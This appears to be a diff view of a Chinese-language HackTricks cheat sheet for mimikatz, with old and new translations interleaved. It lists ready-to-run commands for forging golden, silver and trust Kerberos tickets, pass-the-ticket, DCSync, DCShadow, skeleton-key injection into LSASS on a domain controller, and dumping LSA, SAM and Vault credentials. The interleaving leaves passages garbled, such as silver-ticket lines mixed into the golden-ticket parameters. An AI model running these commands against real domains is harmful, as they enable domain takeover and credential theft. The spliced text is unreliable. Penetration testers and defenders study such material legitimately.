黄金票证允许进行域范围的访问冒充。关键命令和参数:
|
||||||
|
|
||||||
|
- 命令:`kerberos::golden`
|
||||||
- 参数:
|
- 参数:
|
||||||
- `/service`:要针对的服务(例如,cifs,http)。
|
- `/domain`:域名。
|
||||||
- 其他参数与黄金票据类似。
|
- `/sid`:域的安全标识符(SID)。
|
||||||
|
- `/user`:要冒充的用户名。
|
||||||
|
- `/krbtgt`:域的 KDC 服务账户的 NTLM 哈希。
|
||||||
|
- `/ptt`:直接将票证注入内存。
|
||||||
|
- `/ticket`:保存票证以供后用。
|
||||||
|
|
||||||
示例:
|
示例:
|
||||||
```bash
|
```bash
|
||||||
|
mimikatz "kerberos::golden /user:admin /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /krbtgt:ntlmhash /ptt" exit
|
||||||
|
```
|
||||||
|
### Silver Ticket Creation
|
||||||
|
|
||||||
|
Silver Tickets 授予对特定服务的访问权限。关键命令和参数:
|
||||||
|
|
||||||
|
- Command: 类似于 Golden Ticket,但针对特定服务。
|
||||||
|
- Parameters:
|
||||||
|
- `/service`: 要针对的服务(例如,cifs,http)。
|
||||||
|
- 其他参数类似于 Golden Ticket。
|
||||||
|
|
||||||
|
Example:
|
||||||
|
```bash
|
||||||
mimikatz "kerberos::golden /user:user /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /target:service.example.com /service:cifs /rc4:ntlmhash /ptt" exit
|
mimikatz "kerberos::golden /user:user /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /target:service.example.com /service:cifs /rc4:ntlmhash /ptt" exit
|
||||||
```
|
```
|
||||||
### 信任票据创建
|
### Trust Ticket Creation
|
||||||
|
|
||||||
信任票据用于通过利用信任关系跨域访问资源。关键命令和参数:
|
信任票证用于通过利用信任关系访问跨域资源。关键命令和参数:
|
||||||
|
|
||||||
- 命令:类似于黄金票据,但用于信任关系。
|
- 命令:类似于黄金票证,但用于信任关系。
|
||||||
- 参数:
|
- 参数:
|
||||||
- `/target`:目标域的完全限定域名(FQDN)。
|
- `/target`:目标域的FQDN。
|
||||||
- `/rc4`:信任账户的NTLM哈希值。
|
- `/rc4`:信任账户的NTLM哈希。
|
||||||
|
|
||||||
示例:
|
示例:
|
||||||
```bash
|
```bash
|
||||||
mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123456789-123456789 /sids:S-1-5-21-987654321-987654321-987654321-519 /rc4:ntlmhash /user:admin /service:krbtgt /target:parent.example.com /ptt" exit
|
mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123456789-123456789 /sids:S-1-5-21-987654321-987654321-987654321-519 /rc4:ntlmhash /user:admin /service:krbtgt /target:parent.example.com /ptt" exit
|
||||||
```
|
```
|
||||||
### 附加的Kerberos命令
|
### 额外的 Kerberos 命令
|
||||||
|
|
||||||
- **列出票证**:
|
- **列出票证**:
|
||||||
- 命令: `kerberos::list`
|
- 命令:`kerberos::list`
|
||||||
- 列出当前用户会话的所有Kerberos票证。
|
- 列出当前用户会话的所有 Kerberos 票证。
|
||||||
|
|
||||||
- **传递缓存**:
|
- **传递缓存**:
|
||||||
- 命令: `kerberos::ptc`
|
- 命令:`kerberos::ptc`
|
||||||
- 从缓存文件注入Kerberos票证。
|
- 从缓存文件中注入 Kerberos 票证。
|
||||||
- 示例: `mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit`
|
- 示例:`mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit`
|
||||||
|
|
||||||
- **传递票证**:
|
- **传递票证**:
|
||||||
- 命令: `kerberos::ptt`
|
- 命令:`kerberos::ptt`
|
||||||
- 允许在另一个会话中使用Kerberos票证。
|
- 允许在另一个会话中使用 Kerberos 票证。
|
||||||
- 示例: `mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit`
|
- 示例:`mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit`
|
||||||
|
|
||||||
- **清除票证**:
|
- **清除票证**:
|
||||||
- 命令: `kerberos::purge`
|
- 命令:`kerberos::purge`
|
||||||
- 清除会话中的所有Kerberos票证。
|
- 清除会话中的所有 Kerberos 票证。
|
||||||
- 在使用票证操作命令之前清除,以避免冲突。
|
- 在使用票证操作命令之前非常有用,以避免冲突。
|
||||||
|
|
||||||
### 活动目录篡改
|
### Active Directory 篡改
|
||||||
|
|
||||||
- **DCShadow**: 临时使一台机器充当活动目录控制器以进行AD对象操作。
|
- **DCShadow**:临时使机器充当 DC 以进行 AD 对象操作。
|
||||||
- `mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit`
|
- `mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit`
|
||||||
|
|
||||||
- **DCSync**: 模拟活动目录控制器请求密码数据。
|
- **DCSync**:模拟 DC 请求密码数据。
|
||||||
- `mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit`
|
- `mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit`
|
||||||
|
|
||||||
### 凭证访问
|
### 凭据访问
|
||||||
|
|
||||||
- **LSADUMP::LSA**: 从LSA中提取凭证。
|
- **LSADUMP::LSA**:从 LSA 中提取凭据。
|
||||||
- `mimikatz "lsadump::lsa /inject" exit`
|
- `mimikatz "lsadump::lsa /inject" exit`
|
||||||
|
|
||||||
- **LSADUMP::NetSync**: 使用计算机帐户的密码数据冒充活动目录控制器。
|
- **LSADUMP::NetSync**:使用计算机帐户的密码数据模拟 DC。
|
||||||
- *原始上下文中未提供NetSync的特定命令。*
|
- *原文中未提供 NetSync 的具体命令。*
|
||||||
|
|
||||||
- **LSADUMP::SAM**: 访问本地SAM数据库。
|
- **LSADUMP::SAM**:访问本地 SAM 数据库。
|
||||||
- `mimikatz "lsadump::sam" exit`
|
- `mimikatz "lsadump::sam" exit`
|
||||||
|
|
||||||
- **LSADUMP::Secrets**: 解密存储在注册表中的秘密。
|
- **LSADUMP::Secrets**:解密存储在注册表中的秘密。
|
||||||
- `mimikatz "lsadump::secrets" exit`
|
- `mimikatz "lsadump::secrets" exit`
|
||||||
|
|
||||||
- **LSADUMP::SetNTLM**: 为用户设置新的NTLM哈希。
|
- **LSADUMP::SetNTLM**:为用户设置新的 NTLM 哈希。
|
||||||
- `mimikatz "lsadump::setntlm /user:targetUser /ntlm:newNtlmHash" exit`
|
- `mimikatz "lsadump::setntlm /user:targetUser /ntlm:newNtlmHash" exit`
|
||||||
|
|
||||||
- **LSADUMP::Trust**: 检索信任身份验证信息。
|
- **LSADUMP::Trust**:检索信任认证信息。
|
||||||
- `mimikatz "lsadump::trust" exit`
|
- `mimikatz "lsadump::trust" exit`
|
||||||
|
|
||||||
### 其他
|
### 杂项
|
||||||
|
|
||||||
- **MISC::Skeleton**: 在活动目录控制器的LSASS中注入后门。
|
- **MISC::Skeleton**:在 DC 上注入后门到 LSASS。
|
||||||
- `mimikatz "privilege::debug" "misc::skeleton" exit`
|
- `mimikatz "privilege::debug" "misc::skeleton" exit`
|
||||||
|
|
||||||
### 特权提升
|
### 权限提升
|
||||||
|
|
||||||
- **PRIVILEGE::Backup**: 获取备份权限。
|
- **PRIVILEGE::Backup**:获取备份权限。
|
||||||
- `mimikatz "privilege::backup" exit`
|
- `mimikatz "privilege::backup" exit`
|
||||||
|
|
||||||
- **PRIVILEGE::Debug**: 获取调试特权。
|
- **PRIVILEGE::Debug**:获取调试权限。
|
||||||
- `mimikatz "privilege::debug" exit`
|
- `mimikatz "privilege::debug" exit`
|
||||||
|
|
||||||
### 凭证转储
|
### 凭据转储
|
||||||
|
|
||||||
- **SEKURLSA::LogonPasswords**: 显示已登录用户的凭证。
|
- **SEKURLSA::LogonPasswords**:显示已登录用户的凭据。
|
||||||
- `mimikatz "sekurlsa::logonpasswords" exit`
|
- `mimikatz "sekurlsa::logonpasswords" exit`
|
||||||
|
|
||||||
- **SEKURLSA::Tickets**: 从内存中提取Kerberos票证。
|
- **SEKURLSA::Tickets**:从内存中提取 Kerberos 票证。
|
||||||
- `mimikatz "sekurlsa::tickets /export" exit`
|
- `mimikatz "sekurlsa::tickets /export" exit`
|
||||||
|
|
||||||
### Sid和令牌操作
|
### Sid 和 Token 操作
|
||||||
|
|
||||||
- **SID::add/modify**: 更改SID和SIDHistory。
|
- **SID::add/modify**:更改 SID 和 SIDHistory。
|
||||||
- 添加: `mimikatz "sid::add /user:targetUser /sid:newSid" exit`
|
- 添加:`mimikatz "sid::add /user:targetUser /sid:newSid" exit`
|
||||||
- 修改: *原始上下文中未提供修改的特定命令。*
|
- 修改:*原文中未提供修改的具体命令。*
|
||||||
|
|
||||||
- **TOKEN::Elevate**: 冒充令牌。
|
- **TOKEN::Elevate**:模拟令牌。
|
||||||
- `mimikatz "token::elevate /domainadmin" exit`
|
- `mimikatz "token::elevate /domainadmin" exit`
|
||||||
|
|
||||||
### 终端服务
|
### 终端服务
|
||||||
|
|
||||||
- **TS::MultiRDP**: 允许多个RDP会话。
|
- **TS::MultiRDP**:允许多个 RDP 会话。
|
||||||
- `mimikatz "ts::multirdp" exit`
|
- `mimikatz "ts::multirdp" exit`
|
||||||
|
|
||||||
- **TS::Sessions**: 列出TS/RDP会话。
|
- **TS::Sessions**:列出 TS/RDP 会话。
|
||||||
- *原始上下文中未提供TS::Sessions的特定命令。*
|
- *原文中未提供 TS::Sessions 的具体命令。*
|
||||||
|
|
||||||
### 保险库
|
### Vault
|
||||||
|
|
||||||
- 从Windows保险库中提取密码。
|
- 从 Windows Vault 中提取密码。
|
||||||
- `mimikatz "vault::cred /patch" exit`
|
- `mimikatz "vault::cred /patch" exit`
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
学习与实践 GCP 黑客技术: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
Loading…
Reference in a new issue